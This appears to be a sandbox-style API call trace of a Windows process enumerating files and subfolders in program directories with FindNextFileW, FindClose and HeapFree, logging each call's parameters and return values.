	[0153.895] FindNextFileW (in: hFindFile=0x4140758, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0xe, dwReserved1=0xfffff9d8, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0153.895] FindClose (in: hFindFile=0x4140758 | out: hFindFile=0x4140758) returned 1
	[0153.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.895] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x439, dwReserved1=0x638, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0153.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.895] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x439, dwReserved1=0x638, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0153.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0153.900] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0153.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0153.900] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0153.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0153.900] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1
	[0153.901] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0153.901] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0153.902] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0153.902] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0153.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0153.903] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x439, dwReserved1=0x638, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0153.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0153.903] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0153.912] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x419c010 | out: hHeap=0x5a0000) returned 1
	[0153.912] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0153.912] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.912] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0153.912] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.912] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0153.912] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.912] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0153.912] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.912] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x439, dwReserved1=0x638, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0153.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.913] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x439, dwReserved1=0x638, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0153.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.913] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0153.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.913] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0153.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.913] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0153.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.913] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x439, dwReserved1=0x638, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0153.914] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.914] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x439, dwReserved1=0x638, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0153.914] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.914] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0153.914] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.914] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0153.914] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.914] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0153.914] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.914] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0153.915] FindClose (in: hFindFile=0x4140398 | out: hFindFile=0x4140398) returned 1
	[0153.915] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.916] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0153.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4186ff8 | out: hHeap=0x5a0000) returned 1
	[0153.917] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x439, dwReserved1=0x638, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0153.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.917] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0153.958] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4186ff8 | out: hHeap=0x5a0000) returned 1
	[0153.958] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0
	[0153.958] FindClose (in: hFindFile=0x41400d8 | out: hFindFile=0x41400d8) returned 1
	[0153.958] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.958] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0153.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.963] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0153.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.963] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0153.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.966] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0153.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4186ff8 | out: hHeap=0x5a0000) returned 1
	[0153.966] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="en-US", cAlternateFileName="")) returned 0
	[0153.966] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0153.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.966] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0153.967] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4186ff8 | out: hHeap=0x5a0000) returned 1
	[0153.967] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x439, dwReserved1=0x638, cFileName="en-US", cAlternateFileName="")) returned 0
	[0153.967] FindClose (in: hFindFile=0x4140798 | out: hFindFile=0x4140798) returned 1
	[0153.967] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.967] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1
	[0153.972] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.972] FindNextFileW (in: hFindFile=0x4140498, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1
	[0153.972] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
